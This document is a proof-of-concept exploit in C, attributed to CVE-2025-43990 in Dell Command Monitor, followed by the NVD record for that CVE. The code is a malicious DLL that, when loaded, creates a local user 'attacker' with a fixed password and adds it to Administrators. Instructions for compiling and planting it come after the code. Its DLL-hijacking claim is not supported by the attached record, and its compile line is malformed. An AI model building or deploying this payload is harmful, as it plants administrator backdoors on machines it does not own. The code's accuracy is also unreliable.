CVE-2025-43990

// CVE-2025-43990 PoC - Dell Command Monitor Privilege Escalation // This PoC demonstrates DLL hijacking vulnerability in Dell Command Monitor // Author: Security Researcher // Note: For educational and authorized testing purposes only #include <windows.h> #include <stdio.h> // Malicious DLL that will be loaded by Dell Command Monitor with elevated privileges BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { // Create administrator user for privilege escalation SYSTEMTIME st; GetLocalTime(&st); char cmd[512]; // Add new admin user sprintf(cmd, "net user attacker P@ssw0rd123 /add"); system(cmd); sprintf(cmd, "net localgroup Administrators attacker /add"); system(cmd); // Log exploitation attempt FILE *log = fopen("C:\\\\Temp\\\\exploit_log.txt", "a"); if (log) { fprintf(log, "[%02d/%02d/%04d %02d:%02d:%02d] CVE-2025-43990 exploited\n", st.wDay, st.wMonth, st.wYear, st.wHour, st.wMinute, st.wSecond); fclose(log); } break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // Compile: gcc -shared -o mal dll.dll payload.c // Place mal dll.dll in Dell Command Monitor directory or writable DLL search path // Execute Dell Command Monitor to trigger DLL loading with elevated privileges

{"cve": {"id": "CVE-2025-43990", "sourceIdentifier": "[email protected]", "published": "2025-11-05T17:15:40.210", "lastModified": "2026-01-21T20:12:35.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell Command Monitor (DCM), versions prior to 10.12.3.28, contains an Execution with Unnecessary Privileges vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:command_monitor:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.12.3.28", "matchCriteriaId": "5D94ADFB-446B-4840-945F-2A3527747382"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000384947/dsa-2025-414", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}